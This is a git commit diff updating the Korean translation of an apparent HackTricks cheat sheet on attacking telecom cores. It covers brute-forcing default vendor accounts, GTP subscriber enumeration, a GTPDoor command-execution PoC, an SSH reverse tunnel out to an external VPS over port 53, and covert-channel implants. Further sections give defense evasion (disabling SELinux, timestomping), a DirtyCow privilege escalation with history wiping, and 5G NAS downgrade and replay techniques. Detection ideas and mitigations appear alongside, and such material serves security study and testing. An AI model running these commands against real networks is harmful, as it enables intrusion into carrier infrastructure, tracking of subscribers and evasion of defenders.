Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:10:09 +00:00
parent 4f4f257b52
commit bb3b415e77

View File

@ -1,27 +1,27 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
# 텔레콤 네트워크 악용 (GTP / 로밍 환경)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> 모바일 코어 프로토콜(GPRS Tunnelling Protocol GTP)은 종종 반신뢰 GRX/IPX 로밍 백본을 통과합니다. 거의 인증 없이 일반 UDP 위에서 작동하기 때문에, **통신 경계 내의 어떤 발판도 일반적으로 코어 신호 평면에 직접 접근할 수 있습니다**. 다음 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기술을 수집합니다.
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **통신사 경계 내의 어떤 foothold든 일반적으로 코어 signalling plane에 직접 도달할 수 있다**. 다음 메모들은 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기법들을 정리한 것이다.
## 1. Recon & Initial Access
## 1. 정찰 및 초기 접근
### 1.1 Default OSS / NE Accounts
놀랍게도 많은 벤더 네트워크 요소`root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`와 같은 하드코딩된 SSH/Telnet 사용자와 함께 제공됩니다. 전용 단어 목록은 무차별 대입 성공률을 극적으로 증가시킵니다:
### 1.1 기본 OSS / NE 계정
상당수의 벤더 네트워크 장비`root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 와 같은 하드코드된 SSH/Telnet 사용자로 출하시된다. 전용 워드리스트는 브루트포스 성공률을 크게 높인다:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
장치가 관리 VRF만 노출하는 경우, 먼저 점프 호스트를 통해 피벗합니다(아래 «SGSN Emu Tunnel» 섹션 참조).
장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot 하세요 (아래 «SGSN Emu Tunnel» 섹션 참조).
### 1.2 GRX/IPX 내 호스트 검색
대부분의 GRX 운영자는 여전히 백본을 통해 **ICMP echo**를 허용합니다. `masscan`을 내장된 `gtpv1` UDP 프로브와 결합하여 GTP-C 리스너를 신속하게 매핑합니다:
### 1.2 GRX/IPX 내부의 호스트 검색
대부분의 GRX 운영자는 여전히 백본 전반에 걸쳐 **ICMP echo**를 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 사용하면 GTP-C 리스너를 빠르게 매핑할 수 있습니다:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. 구독자 열거하기 `cordscan`
## 2. Enumerating Subscribers `cordscan`
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI를 제공하는 현재 **SGSN / MME**를 드러내며, 때때로 구독자가 방문한 PLMN도 나타냅니다.
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI에 서비스를 제공하는 현재 **SGSN / MME** 및 때때로 가입자의 방문 PLMN을 드러냅니다.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
주요 플래그:
- `--imsi` 대상 구독자 IMSI
- `--oper` / HNI (MCC+MNC)
- `--imsi` 대상 가입자 IMSI
- `--oper` Home / HNI (MCC+MNC)
- `-w` 원시 패킷을 pcap에 기록
이진 파일 내의 중요한 상수는 스캔을 확장하기 위해 패치할 수 있습니다:
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있다:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. GTP를 통한 코드 실행 `GTPDoor`
## 3. Code Execution over GTP `GTPDoor`
`GTPDoor`**UDP 2123에 바인딩하고 모든 수신 GTP-C 패킷을 파싱하는** 작은 ELF 서비스입니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화(AES-128-CBC)되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내에서 유출되어 외부 세션이 생성되지 않도록 합니다.
`GTPDoor`UDP 2123에 바인드되어 수신되는 모든 GTP-C 패킷을 파싱하는 작은 ELF 서비스입니다. payload가 pre-shared tag로 시작하면 나머지 데이터는 AES-128-CBC로 복호화되어 `/bin/sh -c`로 실행됩니다. stdout/stderr는 **Echo Response** 메시지 안에 exfiltrated되어 외부 세션이 생성되지 않습니다.
최소 PoC 패킷 (Python):
Minimal PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
탐지:
* SGSN IP로 **불균형 에코 요청**을 보내는 호스트
* 메시지 유형 = 1(에코)일 때 GTP 버전 플래그가 1로 설정됨 사양에서의 편차
* 어떤 호스트가 SGSN IP들로 **unbalanced Echo Requests**를 전송하는 경우
* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)인 경우 명세와의 불일치
## 4. 코어를 통한 피벗팅
## 4. 코어를 통한 Pivoting
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN`**실제 GGSN/PGW에 대한 PDP 컨텍스트를 설정할 수 있는 SGSN 에뮬레이터**를 제공합니다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 수신합니다.
`OsmoGGSN`실제 GGSN/PGW를 향해 **establish a PDP context towards a real GGSN/PGW** 할 수 있는 SGSN 에뮬레이터를 포함합니다. 협상 후, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
적절한 방화벽 헤어핀을 사용하면 이 터널이 신호 전용 VLAN을 우회하고 **데이터 평면**에 직접 도달합니다.
적절한 firewall hair-pinning을 통해, 이 터널은 signalling-only VLANs를 우회하여 당신을 직접 **data plane**에 진입시킵니다.
### 4.2 포트 53을 통한 SSH 리버스 터널
DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 노출하여 :53에서 수신 대기하고 나중에 집에서 돌아오세요:
### 4.2 SSH Reverse Tunnel 포트 53을 통한
로밍 인프라에서는 DNS가 거의 항상 열려 있습니다. 내부 SSH 서비스를 :53에서 listening하도록 VPS에 노출시키고, 집에서 나중에 접속하십시오:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes`가 VPS에서 활성화되어 있는지 확인하십시오.
VPS에서 `GatewayPorts yes`가 활성화되어 있는지 확인하세요.
## 5. 은밀 채널
## 5. 은밀 채널
| 채널 | 전송 | 디코딩 | 비고 |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4바이트 키 + 14바이트 청크 (XOR) | 순수 수동 리스너, 아웃바운드 트래픽 없음 |
| DNS `NoDepDNS` | UDP 53 | XOR (키 = `funnyAndHappy`) A 레코드 옥텟에 인코딩 | `*.nodep` 서브 도메인 감시 |
| GTP `GTPDoor` | UDP 2123 | 개인 IE에 AES-128-CBC 블롭 | 합법적인 GTP-C 대화와 혼합 |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인을 모니터링함 |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 정상적인 GTP-C 통신과 섞여 위장함 |
모든 임플란트는 **타임스톱**하여 이진 파일을 감시하고 충돌 시 재생성합니다.
모든 implants는 watchdogs를 구현하며, 바이너리를 **timestomp**하고 충돌 시 re-spawn합니다.
## 6. 방어 회피 치트시트
```bash
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. 레거시 NE에서의 권한 상승
## 7. 구형 NE에서의 Privilege Escalation
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -118,23 +118,130 @@ rm -f /tmp/sh ; history -c
```
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 이전 섹션에서 설명한 사용자 정의 도구.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 이전 섹션에서 설명한 custom tooling.
* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS 악성 WPAD
* `Microsocks` + `ProxyChains` : 경량 SOCKS5 피벗
* `FRP` (≥0.37) : NAT 우회 / 자산 브리징
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : 경량 SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / 자산 브리징
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 동작한다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 이 보안 이전 창은 N2 트래픽을 관찰하거나 변조할 수 있을 때(예: 코어 내부 on-path, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment은 흐름을 재현하기에 충분함.
- UE: simulator 또는 test UE; Wireshark로 디코드.
- Active tooling: 5GReplay (NGAP 내에서 NAS 캡처/수정/재전송), Sni5Gect (전체 rogue gNB를 띄우지 않고도 NAS를 실시간으로 스니핑/패치/인젝션).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM은 SUCI(SUPI를 홈 네트워크 공개키로 암호화한 것)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 발견하면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다.
How to test:
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사.
- Wireshark quick checks:
- 디코딩 결과가 SUCI로 나와야 하며 IMSI로 나오면 안 됨.
- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 존재해야 함; 해당 항목이 없고 `imsi`가 존재하면 노출을 의미.
What to collect:
- 노출된 경우 MCC/MNC/MSIN을 수집; UE별로 기록하고 시간/위치에 따라 추적.
Mitigation:
- SUCI 전용 UE/USIM 강제화; 초기 NAS에서 어떤 IMSI/SUPI라도 감지되면 경보.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE는 Registration Request의 UE Security Capability IE에 지원하는 EEA(암호화)와 EIA(무결성)를 광고함.
- 일반적인 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0은 null 알고리즘임.
Issue:
- Registration Request는 무결성으로 보호되지 않기 때문에 on-path 공격자는 capability 비트를 제거해 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 긴급 서비스 외부에서도 null 알고리즘을 잘못 허용한다.
Offensive steps:
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정.
- Sni5Gect로 NAS 메시지를 후킹하여 전달하기 전에 capability 비트를 패치.
- AMF가 null cipher/integrity를 수락하고 Security Mode를 EEA0/EIA0로 완료하는지 관찰.
Verification/visibility:
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인.
- Example passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
완화 조치(필수):
- AMF/policy를 구성하여 EEA0/EIA0를 엄격히 요구되는 경우(예: 긴급 통화)를 제외하고 거부하도록 설정.
- 최소한 EEA2/EIA2 적용을 권장; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로그 기록 및 경보를 설정.
### 9.3 초기 Registration Request의 Replay (pre-security NAS)
초기 NAS는 무결성(integrity)과 신선도(freshness)가 부족하므로, 캡처된 InitialUEMessage+Registration Request는 AMF로 재생(replay)될 수 있다.
매칭되는 replays를 전달하기 위한 5GReplay용 PoC 룰:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- AMF가 replay를 수락하고 Authentication으로 진행하는지 확인; freshness/컨텍스트 검증 부재는 노출을 의미함.
Mitigations:
- AMF에서 replay 보호/컨텍스트 바인딩을 적용; GNB/UE별로 rate-limit 및 상관관계 분석 수행.
### 9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPF를 띄워 코어를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
- Wireshark: NGAP/NAS 디코드 확인; 위 필터를 적용해 Registration을 분리.
- 5GReplay: registration을 캡처한 뒤 규칙에 따라 특정 NGAP + NAS 메시지를 replay.
- Sni5Gect: NAS control-plane을 실시간으 sniff/modify/inject하여 null 알고리즘을 유도하거나 인증 시퀀스를 교란.
### 9.5 Defensive checklist
- Registration Request에서 평문 SUPI/IMSI를 지속적으로 검사; 문제 있는 장치/USIM을 차단.
- EEA0/EIA0는 엄격히 정의된 긴급 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
- 무단 또는 잘못 구성된 인프라 탐지: 비인가 gNB/AMF, 예기치 않은 N2 피어.
- null 알고리즘을 초래하거나 InitialUEMessage의 빈번한 replay가 발생하는 NAS 보안 모드에 대해 경보.
---
## Detection Ideas
1. **SGSN/GGSN 이외의 장치가 PDP 컨텍스트 요청을 생성하는 경우**.
2. **비표준 포트(53, 80, 443)가 내부 IP로부터 SSH 핸드셰이크를 수신하는 경우**.
3. **상응하는 에코 응답 없이 빈번한 에코 요청** GTPDoor 비콘을 나타낼 수 있음.
4. **큰 비제로 식별자/시퀀스 필드를 가진 ICMP 에코 응답 트래픽의 높은 비율**.
1. **SGSN/GGSN 이외의 장치가 Create PDP Context Requests를 생성하는 경우**.
2. **내부 IP로부터 SSH handshakes를 수신하는 비표준 포트(53, 80, 443)**.
3. **상응하는 Echo Responses 없이 Echo Requests가 빈번한 경우** GTPDoor 비콘을 나타낼 수 있음.
4. **identifier/sequence 필드가 크고 0이 아닌 ICMP echo-reply 트래픽의 높은 비율**.
5. 5G: **동일한 엔드포인트에서 반복되는 NAS Registration Requests를 포함한 InitialUEMessage** (replay signal).
6. 5G: **긴급 상황 외에서 EEA0/EIA0를 협상하는 NAS Security Mode**.
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}